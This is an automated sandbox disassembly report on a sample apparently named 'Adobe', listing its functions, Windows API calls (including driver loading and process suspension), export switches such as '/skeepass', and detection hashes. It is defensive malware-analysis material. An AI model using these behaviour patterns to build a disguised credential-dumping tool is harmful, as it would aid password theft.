                                                                                        • Opcode Fuzzy Hash: 80e2c4da556a6dfda94225f517483429c905b521daebd2f44f7cad3fe39d77d4
                                                                                        • Instruction Fuzzy Hash: CBA1A271640388AFEB11DF69CC89FCA3FA5AF55304F0404B9FE48AF292C6B59548CB65
                                                                                        Function 0041352F Relevance: 31.5, APIs: 9, Strings: 9, Instructions: 41libraryloaderCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,0040DE02,?,000000FF,00000000,00000104), ref: 00413542
                                                                                        • GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00413559
                                                                                        • GetProcAddress.KERNEL32(NtLoadDriver), ref: 0041356B
                                                                                        • GetProcAddress.KERNEL32(NtUnloadDriver), ref: 0041357D
                                                                                        • GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041358F
                                                                                        • GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 004135A1
                                                                                        • GetProcAddress.KERNEL32(NtQueryObject), ref: 004135B3
                                                                                        • GetProcAddress.KERNEL32(NtSuspendProcess), ref: 004135C5
                                                                                        • GetProcAddress.KERNEL32(NtResumeProcess), ref: 004135D7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: AddressProc$HandleModule
                                                                                        • String ID: NtLoadDriver$NtOpenSymbolicLinkObject$NtQueryObject$NtQuerySymbolicLinkObject$NtQuerySystemInformation$NtResumeProcess$NtSuspendProcess$NtUnloadDriver$ntdll.dll
                                                                                        • API String ID: 667068680-2887671607
                                                                                        • Opcode ID: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                        • Instruction ID: 8dd6b0f06cc06780b82abcfa5335c49c30c65db347d43124f897848efd9f6b7c
                                                                                        • Opcode Fuzzy Hash: 57b3ef5f97466978e1990f74adf29af07ff290b7ce4571feabf87054e0031f76
                                                                                        • Instruction Fuzzy Hash: 8C015E75D48324AACB339F75AD09A053FB1EF04797B1004B7A80492266DAF9815CDE4C
                                                                                        Function 0041019A Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 122COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _snwprintf$memset$wcscpy
                                                                                        • String ID: bgcolor="%s"$ width="%s"$</font>$<font color="%s">$<table border="1" cellpadding="5"><tr%s>$<th%s>%s%s%s
                                                                                        • API String ID: 2000436516-3842416460
                                                                                        • Opcode ID: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                        • Instruction ID: 0effb7443b15cd0e53e626898d2c9f551e6481245c02f09bcd1282082c9ffe88
                                                                                        • Opcode Fuzzy Hash: 3adec529592eaa12cbb3371149c11df059df1660bb42a65f2cf1cf9995de4c18
                                                                                        • Instruction Fuzzy Hash: C74163B194021D7AEB20EF55DC46EEB73BCFF45304F0440ABB908A2141E7759B988F66
                                                                                        Function 004035AD Relevance: 27.1, APIs: 18, Instructions: 93windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0041083A: memset.MSVCRT ref: 0041087D
                                                                                          • Part of subcall function 0041083A: memset.MSVCRT ref: 00410892
                                                                                          • Part of subcall function 0041083A: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 004108A4
                                                                                          • Part of subcall function 0041083A: SHGetFileInfoW.SHELL32(?,00000000,?,000002B4,00004001), ref: 004108C2
                                                                                          • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000001,?), ref: 004108FF
                                                                                          • Part of subcall function 0041083A: SendMessageW.USER32(?,00001003,00000000,?), ref: 00410936
                                                                                          • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 00410951
                                                                                          • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000085,00000000,00000010,00000010,00001000), ref: 00410963
                                                                                          • Part of subcall function 0041083A: GetModuleHandleW.KERNEL32(00000000), ref: 0041096E
                                                                                          • Part of subcall function 0041083A: LoadImageW.USER32(00000000,00000086,00000000,00000010,00000010,00001000), ref: 00410980
                                                                                          • Part of subcall function 0041083A: GetSysColor.USER32(0000000F), ref: 00410999
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 004035BF
                                                                                        • LoadIconW.USER32(00000000,00000072), ref: 004035CA
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 004035DF
                                                                                        • LoadIconW.USER32(00000000,00000074), ref: 004035E4
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 004035F3
                                                                                        • LoadIconW.USER32(00000000,00000073), ref: 004035F8
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 00403607
                                                                                        • LoadIconW.USER32(00000000,00000075), ref: 0040360C
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 0040361B
                                                                                        • LoadIconW.USER32(00000000,0000006F), ref: 00403620
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 0040362F
                                                                                        • LoadIconW.USER32(00000000,00000076), ref: 00403634
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 00403643
                                                                                        • LoadIconW.USER32(00000000,00000077), ref: 00403648
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 00403657
                                                                                        • LoadIconW.USER32(00000000,00000070), ref: 0040365C
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 0040366B
                                                                                        • LoadIconW.USER32(00000000,00000078), ref: 00403670
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: HandleLoadModule$Icon$ImageMessageSendmemset$ColorDirectoryFileInfoWindows
                                                                                        • String ID:
                                                                                        • API String ID: 1043902810-0
                                                                                        • Opcode ID: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                        • Instruction ID: 42406aa8c1b655767e81280a563d2f976f29c17d6cb42a8b032fada3297a07e5
                                                                                        • Opcode Fuzzy Hash: ba21586d26ed62a419f919be10df3ed56d69a9ff92c9ff52d971427a1ca70114
                                                                                        • Instruction Fuzzy Hash: B1212EA0B857087AF63137B2DC4BF7B7A5EDF81B89F214410F35C990E0C9E6AC108929
                                                                                        Function 004447D9 Relevance: 26.4, APIs: 4, Strings: 11, Instructions: 139COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • ??2@YAPAXI@Z.MSVCRT(?,?,0040DC1B,?,00000000), ref: 0044480A
                                                                                        • _snwprintf.MSVCRT ref: 0044488A
                                                                                        • wcscpy.MSVCRT ref: 004448B4
                                                                                        • ??3@YAXPAX@Z.MSVCRT(00000000,00000000,?,OriginalFileName,00000000,?,LegalCopyright,00000000,?,InternalName,00000000,?,CompanyName,00000000,?,ProductVersion), ref: 00444964
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: ??2@??3@_snwprintfwcscpy
                                                                                        • String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
                                                                                        • API String ID: 2899246560-1542517562
                                                                                        • Opcode ID: e17f1f04e88a4cb48931d1772d94f5796c3f29ffdcb1b521dadae3bcfb684220
                                                                                        • Instruction ID: ddb1140ba30d93f946c39142265044aeba6ebe712c4753dd77c76fa61262b17a
                                                                                        • Opcode Fuzzy Hash: e17f1f04e88a4cb48931d1772d94f5796c3f29ffdcb1b521dadae3bcfb684220
                                                                                        • Instruction Fuzzy Hash: 434127B2900218BAD704EFA1DC82DDEB7BCBF49305B110167BD05B3152DB78A655CBE8
                                                                                        Function 00408560 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 182stringCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 004096C3: CreateFileW.KERNELBASE(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                                                                                        • GetFileSize.KERNEL32(00000000,00000000,?,00000001,00000000,?,004089ED,?,?,?,0000001E,?,?,00000104), ref: 00408589
                                                                                        • ??2@YAPAXI@Z.MSVCRT(00000001,?,004089ED,?,?,?,0000001E,?,?,00000104,?,?,00000104,?,?,00000104), ref: 0040859D
                                                                                          • Part of subcall function 0040A2EF: ReadFile.KERNELBASE(00000000,00000000,004450DD,00000000,00000000,?,?,004450DD,00000000,00000000), ref: 0040A306
                                                                                        • memset.MSVCRT ref: 004085CF
                                                                                        • memset.MSVCRT ref: 004085F1
                                                                                        • memset.MSVCRT ref: 00408606
                                                                                        • strcmp.MSVCRT ref: 00408645
                                                                                        • _mbscpy.MSVCRT(?,?,?,?,?,?), ref: 004086DB
                                                                                        • _mbscpy.MSVCRT(?,?,?,?,?,?), ref: 004086FA
                                                                                        • memset.MSVCRT ref: 0040870E
                                                                                        • strcmp.MSVCRT ref: 0040876B
                                                                                        • ??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000001E), ref: 0040879D
                                                                                        • CloseHandle.KERNEL32(?,?,004089ED,?,?,?,0000001E,?,?,00000104,?,?,00000104,?,?,00000104), ref: 004087A6
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$File$_mbscpystrcmp$??2@??3@CloseCreateHandleReadSize
                                                                                        • String ID: ---
                                                                                        • API String ID: 3437578500-2854292027
                                                                                        • Opcode ID: c5c02c04611bcd29229c4833ebed6afde2d02892c84083fd30bc2caee93791c4
                                                                                        • Instruction ID: 4c5fbc017ddd4a43d5b0f69e9578b2b0908928dff5e121bfcb53d45818d158f6
                                                                                        • Opcode Fuzzy Hash: c5c02c04611bcd29229c4833ebed6afde2d02892c84083fd30bc2caee93791c4
                                                                                        • Instruction Fuzzy Hash: 256191B2C0421DAADF20DB948D819DEBBBCAB15314F1140FFE558B3141DA399BC4CBA9
                                                                                        Function 00418680 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                          • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                                                                                        • GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186AC
                                                                                        • malloc.MSVCRT ref: 004186B7
                                                                                        • free.MSVCRT ref: 004186C7
                                                                                        • GetFullPathNameW.KERNEL32(00000000,-00000003,00000000,00000000), ref: 004186DB
                                                                                        • free.MSVCRT ref: 004186E0
                                                                                        • GetFullPathNameA.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 004186F6
                                                                                        • malloc.MSVCRT ref: 004186FE
                                                                                        • GetFullPathNameA.KERNEL32(00000000,-00000003,00000000,00000000), ref: 00418711
                                                                                        • free.MSVCRT ref: 00418716
                                                                                        • free.MSVCRT ref: 0041872A
                                                                                        • free.MSVCRT ref: 00418749
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: free$FullNamePath$malloc$Version
                                                                                        • String ID: |A
                                                                                        • API String ID: 3356672799-1717621600
                                                                                        • Opcode ID: 66b970c2726a19c6cf161dcebd973c19408ec610aa0d83d05880a80435803f02
                                                                                        • Instruction ID: f8a1ad7f3386c3a0ca67e8408a701755caa4d882ef8d2f884b3bc60851bd4b4d
                                                                                        • Opcode Fuzzy Hash: 66b970c2726a19c6cf161dcebd973c19408ec610aa0d83d05880a80435803f02
                                                                                        • Instruction Fuzzy Hash: F5217432900118BFEF11BFA6DC46CDFBB79DF41368B22006FF804A2161DA799E91995D
                                                                                        Function 004125F8 Relevance: 21.1, APIs: 7, Strings: 7, Instructions: 70COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: _wcsicmp
                                                                                        • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                                                                                        • API String ID: 2081463915-1959339147
                                                                                        • Opcode ID: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                                                                                        • Instruction ID: 8733bd8b557f913067c5021fbfe18d0583d9fd94efe92a6f612d034962822ca0
                                                                                        • Opcode Fuzzy Hash: 28c2ebe8ae336333f434d0f7201133c37a7c95e7bcc6e3a748ef2c38aa05b661
                                                                                        • Instruction Fuzzy Hash: A401843328931228FA2538663D07F834F48CB52BBBF32405BF800D81C6FE8C4565605E
                                                                                        Function 00412172 Relevance: 19.7, APIs: 13, Instructions: 189windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetDC.USER32(00000000), ref: 004121FF
                                                                                        • GetDeviceCaps.GDI32(00000000,0000005A), ref: 0041220A
                                                                                        • ReleaseDC.USER32(00000000,00000000), ref: 0041221F
                                                                                        • SetBkMode.GDI32(?,00000001), ref: 00412232
                                                                                        • SetTextColor.GDI32(?,00FF0000), ref: 00412240
                                                                                        • SelectObject.GDI32(?,?), ref: 00412251
                                                                                        • DrawTextExW.USER32(?,?,000000FF,?,00000024,?), ref: 00412285
                                                                                        • SelectObject.GDI32(00000014,00000005), ref: 00412291
                                                                                          • Part of subcall function 00411FC6: GetCursorPos.USER32(?), ref: 00411FD0
                                                                                          • Part of subcall function 00411FC6: GetSubMenu.USER32(?,00000000), ref: 00411FDE
                                                                                          • Part of subcall function 00411FC6: TrackPopupMenu.USER32(00000000,00000002,?,?,00000000,?,00000000), ref: 0041200F
                                                                                        • GetModuleHandleW.KERNEL32(00000000), ref: 004122AC
                                                                                        • LoadCursorW.USER32(00000000,00000067), ref: 004122B5
                                                                                        • SetCursor.USER32(00000000), ref: 004122BC
                                                                                        • PostMessageW.USER32(?,00000428,00000000,00000000), ref: 00412304
                                                                                        • memcpy.MSVCRT(?,?,00002008), ref: 0041234D
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Cursor$MenuObjectSelectText$CapsColorDeviceDrawHandleLoadMessageModeModulePopupPostReleaseTrackmemcpy
                                                                                        • String ID:
                                                                                        • API String ID: 1700100422-0
                                                                                        • Opcode ID: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                        • Instruction ID: eb413d4c014922f01c1be241ee45634b3e5b5e29cfe5fc1015c733cb557b7a75
                                                                                        • Opcode Fuzzy Hash: da24f667188ca395770274d48ae20aaa805e07b53c3ccbe50e1108a3d75e9f91
                                                                                        • Instruction Fuzzy Hash: 0F61D331600109AFDB149F74CE89BEA77A5BB45300F10052AFA25D7291DBBC9CB1DB59
                                                                                        Function 004111C1 Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • GetClientRect.USER32(?,?), ref: 004111E0
                                                                                        • GetWindowRect.USER32(?,?), ref: 004111F6
                                                                                        • GetWindowRect.USER32(?,?), ref: 0041120C
                                                                                        • GetDlgItem.USER32(00000000,0000040D), ref: 00411246
                                                                                        • GetWindowRect.USER32(00000000), ref: 0041124D
                                                                                        • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0041125D
                                                                                        • BeginDeferWindowPos.USER32(00000004), ref: 00411281
                                                                                        • DeferWindowPos.USER32(?,?,00000000,00000000,00000000,?,?,00000004), ref: 004112A4
                                                                                        • DeferWindowPos.USER32(?,?,00000000,00000000,?,?,?,00000006), ref: 004112C3
                                                                                        • DeferWindowPos.USER32(?,?,00000000,00000000,000000DC,?,?,00000004), ref: 004112EE
                                                                                        • DeferWindowPos.USER32(?,00000000,00000000,00000000,?,?,000000DC,00000004), ref: 00411306
                                                                                        • EndDeferWindowPos.USER32(?), ref: 0041130B
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Window$Defer$Rect$BeginClientItemPoints
                                                                                        • String ID:
                                                                                        • API String ID: 552707033-0
                                                                                        • Opcode ID: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                        • Instruction ID: 1a89c9de14f4e003cb1acc22e2fe5cfe68aec74c13575a54a2aa846d798aa5ff
                                                                                        • Opcode Fuzzy Hash: 94434f3586c80254c14fe7888e5e60b5c724479e0532bb2ef8c61210f3daf4e7
                                                                                        • Instruction Fuzzy Hash: 3B41D375900209FFEB11DFA8DD89FEEBBBAFB48300F104469F655A61A0C771AA50DB14
                                                                                        Function 0040C084 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 110stringfileCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000,?,?,?,0040C255,?,?,*.*,0040C2BF,00000000), ref: 0040C0A4
                                                                                          • Part of subcall function 0040A32D: SetFilePointer.KERNEL32(0040C2BF,?,00000000,00000000,?,0040C0C5,00000000,00000000,?,00000020,?,0040C255,?,?,*.*,0040C2BF), ref: 0040A33A
                                                                                        • GetFileSize.KERNEL32(00000000,00000000), ref: 0040C0D4
                                                                                          • Part of subcall function 0040BFF3: _memicmp.MSVCRT ref: 0040C00D
                                                                                          • Part of subcall function 0040BFF3: memcpy.MSVCRT(?,?,00000004,00000000,?,?,?,?,?,?,?,?,*.*,0040C2BF,00000000), ref: 0040C024
                                                                                        • memcpy.MSVCRT(00000000,?,00000004,00000000,?,?,?,?), ref: 0040C11B
                                                                                        • strchr.MSVCRT ref: 0040C140
                                                                                        • strchr.MSVCRT ref: 0040C151
                                                                                        • _strlwr.MSVCRT ref: 0040C15F
                                                                                        • memset.MSVCRT ref: 0040C17A
                                                                                        • CloseHandle.KERNEL32(00000000), ref: 0040C1C7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: File$memcpystrchr$CloseCreateHandlePointerSize_memicmp_strlwrmemset
                                                                                        • String ID: 4$h
                                                                                        • API String ID: 4066021378-1856150674
                                                                                        • Opcode ID: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                        • Instruction ID: ad7b68c589633d756b108d453181f98220e50dbf4ed18f1a1dc8c2c6e1bbf79d
                                                                                        • Opcode Fuzzy Hash: 74984e11edfdd2211d0d35a95e6cfe2b897958e94349246af9e5f94d48ef065d
                                                                                        • Instruction Fuzzy Hash: F531C2B2800218FEEB20EB54CC85EEE73BCEF05354F14416AF508A6181D7389F558FA9
                                                                                        Function 00414621 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 99COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$_snwprintf
                                                                                        • String ID: %%0.%df
                                                                                        • API String ID: 3473751417-763548558
                                                                                        • Opcode ID: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                                                                                        • Instruction ID: e3e507119e413e1699737691dcc770ce903c50d69a4f0c7cc4f670013a5326e5
                                                                                        • Opcode Fuzzy Hash: d3ed19b3c5d3f5d27fcb945595af099acb5609e53fc24cbfd77fa4eb0abb8f2a
                                                                                        • Instruction Fuzzy Hash: 2D318F71800129BBEB20DF95CC85FEB77BCFF49304F0104EAB509A2155E7349A94CBA9
                                                                                        Function 004060A4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 97timewindowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • SetTimer.USER32(?,00000041,00000064,00000000), ref: 004060C7
                                                                                        • KillTimer.USER32(?,00000041), ref: 004060D7
                                                                                        • KillTimer.USER32(?,00000041), ref: 004060E8
                                                                                        • GetTickCount.KERNEL32 ref: 0040610B
                                                                                        • GetParent.USER32(?), ref: 00406136
                                                                                        • SendMessageW.USER32(00000000), ref: 0040613D
                                                                                        • BeginDeferWindowPos.USER32(00000004), ref: 0040614B
                                                                                        • EndDeferWindowPos.USER32(00000000), ref: 0040619B
                                                                                        • InvalidateRect.USER32(?,?,00000001), ref: 004061A7
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Timer$DeferKillWindow$BeginCountInvalidateMessageParentRectSendTick
                                                                                        • String ID: A
                                                                                        • API String ID: 2892645895-3554254475
                                                                                        • Opcode ID: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                        • Instruction ID: 3d646c34c65c30a23a549f03b0efc12359fcfb722ff8df3f2fd47db5f06942f8
                                                                                        • Opcode Fuzzy Hash: 9ab18b63844edbdd48863c33bac36f0a113902732bc81a80893c7cf372b99e85
                                                                                        • Instruction Fuzzy Hash: 67318F75240304BBEB205F62DC85F6A7B6ABB44742F018539F3067A5E1C7F998A18B58
                                                                                        Function 0040D2AB Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 101windowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Menu$Itemmemset$CountInfoModifywcscatwcschr
                                                                                        • String ID: 0$6
                                                                                        • API String ID: 4066108131-3849865405
                                                                                        • Opcode ID: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                        • Instruction ID: 23fd2219eb4cf2a86962fa47610fb6a66e7712bfbd77636794901fa2ff6d3352
                                                                                        • Opcode Fuzzy Hash: 0289309123c9ab86839131df51d1afc7e9f627d47cda6d3754f054bafba8353e
                                                                                        • Instruction Fuzzy Hash: 1C317C72808344AFDB209F95D84499FB7E8FF84314F00493EFA48A2291D775D949CB5B
                                                                                        Function 004082C7 Relevance: 15.2, APIs: 10, Instructions: 229COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 004082EF
                                                                                          • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                        • memset.MSVCRT ref: 00408362
                                                                                        • memset.MSVCRT ref: 00408377
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memset$ByteCharMultiWide
                                                                                        • String ID:
                                                                                        • API String ID: 290601579-0
                                                                                        • Opcode ID: 0f4830a1bd5c139c57c95e775b3a7e0dd93a0ba2de61a1ec6096e44496360a03
                                                                                        • Instruction ID: eff1c4cb9ad8ed09cf65616da307521f953f8cb6273bc8e87bbfe44e88666a06
                                                                                        • Opcode Fuzzy Hash: 0f4830a1bd5c139c57c95e775b3a7e0dd93a0ba2de61a1ec6096e44496360a03
                                                                                        • Instruction Fuzzy Hash: E1716C72E0421DAFEF10EFA1EC82AEDB7B9EF04314F14406FE104B6191EB795A458B59
                                                                                        Function 0040A45A Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 65COMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • memset.MSVCRT ref: 0040A47B
                                                                                        • _snwprintf.MSVCRT ref: 0040A4AE
                                                                                        • wcslen.MSVCRT ref: 0040A4BA
                                                                                        • memcpy.MSVCRT(?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4D2
                                                                                        • wcslen.MSVCRT ref: 0040A4E0
                                                                                        • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,00000400,%s (%s),?,?), ref: 0040A4F3
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: memcpywcslen$_snwprintfmemset
                                                                                        • String ID: %s (%s)$YV@
                                                                                        • API String ID: 3979103747-598926743
                                                                                        • Opcode ID: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                        • Instruction ID: 06bfc13611ed198a4270a5cd43788582667178ba612a9453d6f3368808cd6753
                                                                                        • Opcode Fuzzy Hash: 2040f1418fb7f55927111411806f4302e3b16a8f1d7874ce907b9bb2b5999412
                                                                                        • Instruction Fuzzy Hash: 31216F72900219BBDF21DF55CC45D8BB7B8BF04318F018466E948AB106DB74EA188BD9
                                                                                        Function 004044A4 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 52libraryloaderwindowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
                                                                                        • LoadLibraryW.KERNEL32(comctl32.dll), ref: 004044C3
                                                                                        • GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 004044D5
                                                                                        • FreeLibrary.KERNEL32(00000000), ref: 004044E9
                                                                                        • MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00404514
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000006.00000002.2145507801.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_6_2_400000_Adobe.jbxd
                                                                                        Similarity
                                                                                        • API ID: Library$AddressFreeLoadMessageProc
                                                                                        • String ID: Error$Error: Cannot load the common control classes.$InitCommonControlsEx$comctl32.dll
                                                                                        • API String ID: 2780580303-317687271
                                                                                        • Opcode ID: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                        • Instruction ID: 703d86131c3dcb59aab6256491fb2853d543806c906e0642a055f98632e98cc8
                                                                                        • Opcode Fuzzy Hash: 4451af1fa5a3c13e403cd0bd9a94ec580510088b32cd85f0031bb893d40152de
                                                                                        • Instruction Fuzzy Hash: B201D6757502217BE7112FB69C49F7B7A9CFF82749B000035E601E2180EAB8D901926D
                                                                                        Function 0040A661 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52librarywindowCOMMON
                                                                                        Download Yara Rule
                                                                                        APIs
